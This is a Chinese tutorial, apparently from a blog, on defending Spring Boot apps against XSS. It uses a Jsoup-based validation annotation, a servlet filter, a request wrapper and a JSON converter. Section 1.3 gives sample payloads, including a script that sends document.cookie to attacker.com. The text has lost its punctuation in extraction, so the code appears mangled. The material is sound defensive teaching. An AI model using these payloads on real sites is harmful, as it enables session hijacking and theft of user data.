app在线生成网站,品牌咖啡主题网页界面设计,网站的形成,安徽建设监理协会文章目录 引言一、XSS攻击概述1.1 XSS攻击的定义1.2 XSS攻击的类型1.3 XSS攻击的攻击原理及示例 二、Spring Boot中的XSS防御手段2.1 使用注解进行XSS防御2.1.1 引入相关依赖2.1.2 使用XSS注解进行参数校验2.1.3 实现自定义注解处理器2.1.4 使用注解 2.2 使用过滤器进行XSS防御… 文章目录 引言一、XSS攻击概述1.1 XSS攻击的定义1.2 XSS攻击的类型1.3 XSS攻击的攻击原理及示例 二、Spring Boot中的XSS防御手段2.1 使用注解进行XSS防御2.1.1 引入相关依赖2.1.2 使用XSS注解进行参数校验2.1.3 实现自定义注解处理器2.1.4 使用注解 2.2 使用过滤器进行XSS防御2.2.1 引入相关依赖2.2.2 编写配置类2.2.3 修改配置文件2.2.4 创建XSSFilter类2.2.5 编写过滤工具类2.2.6 编写XSSRequestWrapper类清理脚本2.2.7 自定义json消息解析器 三、测试3.1 XSS注解3.2 XSS过滤器 四、总结 引言
随着Web应用的普及网络安全问题也日益凸显。跨站脚本攻击Cross-Site Scripting简称XSS是一种常见的Web安全漏洞它允许攻击者将恶意脚本注入到其他用户浏览和使用的正常网页中。当其他用户浏览这些网页时恶意脚本就会在他们的浏览器上执行从而可能导致信息泄露、会话劫持等严重后果。XSS攻击的普遍性和潜在危害性使其成为Web应用安全中不可忽视的一部分。
本文旨在探讨如何在Spring Boot应用程序中有效地防御XSS攻击。我们将介绍两种主要的防御手段注解和过滤器。通过这两种方式开发者可以轻松地在Spring Boot应用中实现XSS攻击的防御从而保障用户的数据安全和应用的稳定运行。
一、XSS攻击概述 XSS攻击全称为跨站脚本攻击Cross-Site Scripting是一种常见的网络攻击手段。它主要利用了Web应用程序对用户输入验证的不足允许攻击者将恶意脚本注入到其他用户浏览的网页中。 1.1 XSS攻击的定义
XSS攻击是指攻击者在Web页面的输入数据中插入恶意脚本当其他用户浏览该页面时这些脚本就会在用户的浏览器上执行。由于脚本是在受害用户的上下文中执行的因此它可以访问该用户的所有会话信息和权限从而可能导致信息泄露、会话劫持、恶意操作等安全风险。
1.2 XSS攻击的类型
XSS攻击主要分为以下三种类型
存储型XSSPersistent XSS恶意脚本被永久存储在目标服务器上如数据库、消息论坛、访客留言等当用户访问相应的网页时恶意脚本就会执行。反射型XSSReflected XSS恶意脚本并不存储在目标服务器上而是通过诸如URL参数的方式直接在请求响应中反射并执行。这种类型的攻击通常是通过诱使用户点击链接或访问特定的URL来实施的。基于DOM的XSSDOM-based XSS这种类型的XSS攻击完全发生在客户端不需要服务器的参与。它通过恶意脚本修改页面的DOM结构实现攻击。
1.3 XSS攻击的攻击原理及示例
XSS攻击的基本原理是利用Web应用程序对用户输入的信任,将恶意脚本注入到响应中。当其他用户访问包含恶意脚本的页面时,脚本会在他们的浏览器中执行。 可以参考前端安全系列一如何防止XSS攻击 - 美团技术团队 (meituan.com) 示例:
存储型XSS攻击:
攻击者在一个博客评论系统中提交以下评论:
scriptdocument.locationhttp://attacker.com/steal.php?cookiedocument.cookie;
/script当其他用户查看这条评论时,他们的cookie会被发送到攻击者的服务器。
反射型XSS攻击:
攻击者构造一个恶意URL:
http://example.com/search?qscriptalert(XSS)/script如果服务器直接将搜索词嵌入到响应中而不进行过滤,用户点击此链接后会看到一个警告框。
DOM型XSS攻击:
假设网页中有以下JavaScript代码:
var name document.location.hash.substr(1);
document.write(欢迎, name);攻击者可以构造如下URL:
http://example.com/page.html#scriptalert(XSS)/script当用户访问此URL时,恶意脚本会被执行。
二、Spring Boot中的XSS防御手段
在Spring Boot中我们可以采用多种方式来防御XSS攻击。下面将详细介绍两种常用的防御手段使用注解和使用过滤器。
2.1 使用注解进行XSS防御
注解是一种轻量级的防御手段它可以在方法或字段级别对输入进行校验从而防止XSS攻击。
2.1.1 引入相关依赖 !--JSR-303/JSR-380用于验证的注解 --dependencygroupIdorg.springframework.boot/groupIdartifactIdspring-boot-starter-validation/artifactIdversion3.2.0/version/dependency2.1.2 使用XSS注解进行参数校验
我们可以自定义一个XSS注解用于标记那些需要校验的参数。这里是一个简单的XSS注解定义
Target(value { ElementType.METHOD, ElementType.FIELD, ElementType.CONSTRUCTOR, ElementType.PARAMETER })
Retention(RetentionPolicy.RUNTIME)
Constraint(validatedBy XssValidator.class)
public interface Xss {String message() default 非法输入, 检测到潜在的XSS;Class?[] groups() default {};Class? extends Payload[] payload() default {};
}2.1.3 实现自定义注解处理器
接下来我们需要实现XSSValidator类该类将负责检查输入是否包含潜在的XSS攻击脚本
public class XssValidator implements ConstraintValidatorXss, String {/*** 使用自带的 basicWithImages 白名单*/private static final Safelist WHITE_LIST Safelist.relaxed();/*** 定义输出设置关闭prettyPrintprettyPrintfalse目的是避免在清理过程中对代码进行格式化* 从而保持输入和输出内容的一致性。*/private static final Document.OutputSettings OUTPUT_SETTINGS new Document.OutputSettings().prettyPrint(false);/*** 验证输入值是否有效即是否包含潜在的XSS攻击脚本。* * param value 输入值需要进行XSS攻击脚本清理。* param context 上下文对象提供关于验证环境的信息如验证失败时的错误消息定制。* return 如果清理后的值与原始值相同则返回true表示输入值有效否则返回false表示输入值无效。*/Overridepublic boolean isValid(String value, ConstraintValidatorContext context) {// 使用Jsoup库对输入值进行清理以移除潜在的XSS攻击脚本。// 使用预定义的白名单和输出设置来确保只保留安全的HTML元素和属性。String cleanedValue Jsoup.clean(value, , WHITE_LIST, OUTPUT_SETTINGS);// 比较清理后的值与原始值是否相同用于判断输入值是否有效。return cleanedValue.equals(value);}}2.1.4 使用注解
在要进行XSS防御的属性上添加注解
Data
Tag(name 用户,description 用户登录类)
public class UserLoginDTO {XssNotBlank(message 账号不能为空)Schema(name 用户账号,type String)private String userAccount;XssSize(min 6, max 18, message 用户密码长度需在6-18位)Schema(name 用户密码,type String)private String password;XssNotBlank(message 邮箱验证码内容不能为空)Schema(name 邮箱验证码,type String)private String emailCaptcha;
}在Controller中的接口添加Validated注解 PostMapping(/test2)public ResultString login(RequestBody Validated UserLoginDTO userLoginDTO) {return Result.success();}2.2 使用过滤器进行XSS防御
2.2.1 引入相关依赖
!-- Jsoup依赖 --
dependencygroupIdorg.jsoup/groupIdartifactIdjsoup/artifactIdversion1.17.2/version
/dependency2.2.2 编写配置类
/*** 跨站脚本XSS过滤配置类。*/
Data
Component
ConfigurationProperties(prefix xss)
public class FilterConfig {/*** 是否启用XSS过滤。*/private String enabled;/*** 需要排除的URL模式这些URL不会进行XSS过滤。*/private String excludes;/*** 需要应用XSS过滤的URL模式。*/private String urlPatterns;/*** 注册XSS过滤器。** return FilterRegistrationBean 用于注册过滤器的bean。*/Beanpublic FilterRegistrationBean xssFilterRegistration() {FilterRegistrationBean registrationBean new FilterRegistrationBean();// 设置过滤器的分发类型为请求类型registrationBean.setDispatcherTypes(DispatcherType.REQUEST);// 创建XssFilter的实例registrationBean.setFilter(new XssFilter());// 添加过滤器需要拦截的URL模式这些模式从配置文件中的urlPatterns属性读取registrationBean.addUrlPatterns(StringUtils.split(urlPatterns, ,));// 设置过滤器的名称registrationBean.setName(XssFilter);// 设置过滤器的执行顺序数值越小优先级越高registrationBean.setOrder(9999);// 创建一个Map用于存储过滤器的初始化参数MapString, String initParameters new HashMap();// 将配置文件中的excludes属性设置到过滤器的初始化参数中initParameters.put(excludes, excludes);// 将配置文件中的enabled属性设置到过滤器的初始化参数中initParameters.put(enabled, enabled);// 将初始化参数设置到FilterRegistrationBean中registrationBean.setInitParameters(initParameters);// 返回FilterRegistrationBean包含了XssFilter的配置信息return registrationBean;}
}
2.2.3 修改配置文件
xss:enabled: trueexcludes:url-patterns: /*2.2.4 创建XSSFilter类
import jakarta.servlet.*;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import lombok.extern.slf4j.Slf4j;
import org.apache.commons.lang3.StringUtils;import java.io.IOException;
import java.util.ArrayList;
import java.util.List;
import java.util.regex.Matcher;
import java.util.regex.Pattern;Slf4j
public class XssFilter implements Filter {/*** 存储需要排除XSS过滤的URL模式列表。*/private ListString excludes new ArrayList();/*** 是否启用XSS过滤的标志。*/private boolean enabled false;/*** 初始化过滤器从过滤器配置中读取排除列表和启用状态。** param filterConfig 过滤器配置对象。* throws ServletException 如果初始化过程中出现错误。*/Overridepublic void init(FilterConfig filterConfig) throws ServletException {String strExcludes filterConfig.getInitParameter(excludes);String strEnabled filterConfig.getInitParameter(enabled);//将不需要xss过滤的接口添加到列表中if (StringUtils.isNotEmpty(strExcludes)) {String[] urls strExcludes.split(,);for (String url : urls) {excludes.add(url);}}if (StringUtils.isNotEmpty(strEnabled)) {enabled Boolean.valueOf(strEnabled);}}/*** 执行过滤逻辑如果当前请求不在排除列表中则通过XSS过滤器包装请求。** param request HTTP请求对象。* param response HTTP响应对象。* param chain 过滤器链对象用于继续或中断请求处理。* throws IOException 如果处理过程中出现I/O错误。* throws ServletException 如果处理过程中出现Servlet相关错误。*/Overridepublic void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {HttpServletRequest req (HttpServletRequest) request;HttpServletResponse resp (HttpServletResponse) response;//如果该访问接口在排除列表里面则不拦截if (isExcludeUrl(req.getServletPath())) {chain.doFilter(request, response);return;}log.info(uri:{}, req.getRequestURI());// xss 过滤chain.doFilter(new XssWrapper(req), resp);}/*** 销毁过滤器释放资源。*/Overridepublic void destroy() {// 无需额外的销毁逻辑}/*** 判断当前请求的URL是否应该被排除在XSS过滤之外。** param urlPath 请求的URL路径。* return 如果请求应该被排除则返回true否则返回false。*/private boolean isExcludeUrl(String urlPath) {if (!enabled) {//如果xss开关关闭了则所有url都不拦截return true;}if (excludes null || excludes.isEmpty()) {return false;}String url urlPath;for (String pattern : excludes) {Pattern p Pattern.compile(^ pattern);Matcher m p.matcher(url);if (m.find()) {return true;}}return false;}
}
2.2.5 编写过滤工具类
/*** XSS过滤工具类使用Jsoup库对输入的字符串进行XSS攻击防护*/
public class XssUtil {/*** 使用自带的 basicWithImages 白名单*/private static final Safelist WHITE_LIST Safelist.relaxed();/*** 定义输出设置关闭prettyPrintprettyPrintfalse目的是避免在清理过程中对代码进行格式化* 从而保持输入和输出内容的一致性。*/private static final Document.OutputSettings OUTPUT_SETTINGS new Document.OutputSettings().prettyPrint(false);/*初始化白名单策略允许所有标签拥有style属性。这是因为在富文本编辑中样式通常通过style属性来定义需要确保这些样式能够被保留。*/static {// 富文本编辑时一些样式是使用 style 来进行实现的// 比如红色字体 stylecolor:red;// 所以需要给所有标签添加 style 属性WHITE_LIST.addAttributes(:all, style);}/*** 清理输入的字符串移除潜在的XSS攻击代码。* * param content 待清理的字符串通常是用户输入的HTML内容。* return 清理后的字符串保证不包含XSS攻击代码。*/public static String clean(String content) {// 使用定义好的白名单策略和输出设置清理输入的字符串return Jsoup.clean(content, , WHITE_LIST, OUTPUT_SETTINGS);}
}
2.2.6 编写XSSRequestWrapper类清理脚本
在XSSFilter类中我们创建了一个新的XSSRequestWrapper类该类继承自HttpServletRequestWrapper。在这个包装类中我们将重写getParameter等方法以清理请求参数中的潜在XSS脚本。 Slf4j
public class XssWrapper extends HttpServletRequestWrapper {/*** Constructs a request object wrapping the given request.** param request The request to wrap* throws IllegalArgumentException if the request is null*/public XssWrapper(HttpServletRequest request) {super(request);log.info(XssWrapper);}/*** 对数组参数进行特殊字符过滤*/Overridepublic String[] getParameterValues(String name) {String[] values super.getParameterValues(name);if (values null) {return null;}int count values.length;String[] encodedValues new String[count];for (int i 0; i count; i) {encodedValues[i] cleanXSS(values[i]);}return encodedValues;}/*** 对参数中特殊字符进行过滤*/Overridepublic String getParameter(String name) {String value super.getParameter(name);if (StrUtil.isBlank(value)) {return value;}return cleanXSS(value);}/*** 获取attribute,特殊字符过滤*/Overridepublic Object getAttribute(String name) {Object value super.getAttribute(name);if (value instanceof String StrUtil.isNotBlank((String) value)) {return cleanXSS((String) value);}return value;}/*** 对请求头部进行特殊字符过滤*/Overridepublic String getHeader(String name) {String value super.getHeader(name);if (StrUtil.isBlank(value)) {return value;}return cleanXSS(value);}/*** 清理输入的字符串以防止XSS攻击** param value 待清理的字符串通常为用户输入或来自不可信源的数据。* return 清理后的字符串移除了可能的XSS攻击代码。*/private String cleanXSS(String value) {return XssUtil.clean(value);}
}
2.2.7 自定义json消息解析器 在使用springboot中类似于普通的参数parameterattributeheader一类的可以直接使用过滤器来过滤。而前端发送回来的json字符串就没那么方便过滤了。可以考虑用自定义json消息解析器来过滤前端传递的json。 可以参考文章Springboot 过滤json中的特殊字符避免xss攻击 | Cyckerr /*** 在读取和写入JSON数据时特殊字符避免xss攻击的消息解析器**/
public class XSSMappingJackson2HttpMessageConverter extends MappingJackson2HttpMessageConverter {/*** 从HTTP输入消息中读取对象同时应用XSS防护。* * param type 类型令牌表示要读取的对象类型。* param contextClass 上下文类提供类型解析的上下文信息。* param inputMessage HTTP输入消息包含要读取的JSON数据。* return 从输入消息中解析出的对象经过XSS防护处理。* throws IOException 如果发生I/O错误。* throws HttpMessageNotReadableException 如果消息无法读取。*/Overridepublic Object read(Type type, Class contextClass,HttpInputMessage inputMessage) throws IOException,HttpMessageNotReadableException {JavaType javaType getJavaType(type, contextClass);Object obj readJavaType(javaType, inputMessage);//得到请求jsonString json super.getObjectMapper().writeValueAsString(obj);//过滤特殊字符String result XssUtil.clean(json);Object resultObj super.getObjectMapper().readValue(result, javaType);return resultObj;}/*** 从HTTP输入消息中读取指定Java类型的对象内部使用。* * param javaType 要读取的对象的Java类型。* param inputMessage HTTP输入消息包含要读取的JSON数据。* return 从输入消息中解析出的对象。* throws IOException 如果发生I/O错误。* throws HttpMessageNotReadableException 如果消息无法读取。*/private Object readJavaType(JavaType javaType, HttpInputMessage inputMessage) {try {return super.getObjectMapper().readValue(inputMessage.getBody(), javaType);} catch (IOException ex) {throw new HttpMessageNotReadableException(Could not read JSON: ex.getMessage(), ex);}}/*** 将对象写入HTTP输出消息同时应用XSS防护。* * param object 要写入的对象。* param outputMessage HTTP输出消息对象将被序列化为JSON并写入此消息。* throws IOException 如果发生I/O错误。* throws HttpMessageNotWritableException 如果消息无法写入。*/Overrideprotected void writeInternal(Object object, HttpOutputMessage outputMessage)throws IOException, HttpMessageNotWritableException {//得到要输出的jsonString json super.getObjectMapper().writeValueAsString(object);//过滤特殊字符String result XssUtil.clean(json);// 输出outputMessage.getBody().write(result.getBytes());}
}
然后在启动类添加 Beanpublic HttpMessageConverters xssHttpMessageConverters() {XSSMappingJackson2HttpMessageConverter xssMappingJackson2HttpMessageConverter new XSSMappingJackson2HttpMessageConverter();HttpMessageConverter converter xssMappingJackson2HttpMessageConverter;return new HttpMessageConverters(converter);}三、测试
3.1 XSS注解 如果不符合规则的字符例如scriptalert(XSS);/script会提示非法输入检测到潜在的XSS可以看到下面的返回参数中的message已经变为默认警告。 3.2 XSS过滤器 XSS过滤器实现的效果是过滤将前端传递参数进行清理达到XSS防御的目的。 观察下面的测试结果可以知道过滤器成功实现参数清理。 四、总结
本文深入探讨了在Spring Boot应用程序中如何有效地防御XSS攻击。我们介绍了两种主要的防御手段使用注解和使用过滤器。通过这两种方式开发者可以轻松地在Spring Boot应用中实现XSS攻击的防御从而保障用户的数据安全和应用的稳定运行希望对大家有所帮助。 参考文章
SpringBoot 增加 XSS 跨站脚本攻击防护 | 小决的专栏 (jueee.github.io)
对xss攻击的防御 j · 看云 (kancloud.cn)
自定义注解XSS注解
Springboot 过滤json中的特殊字符避免xss攻击 | Cyckerr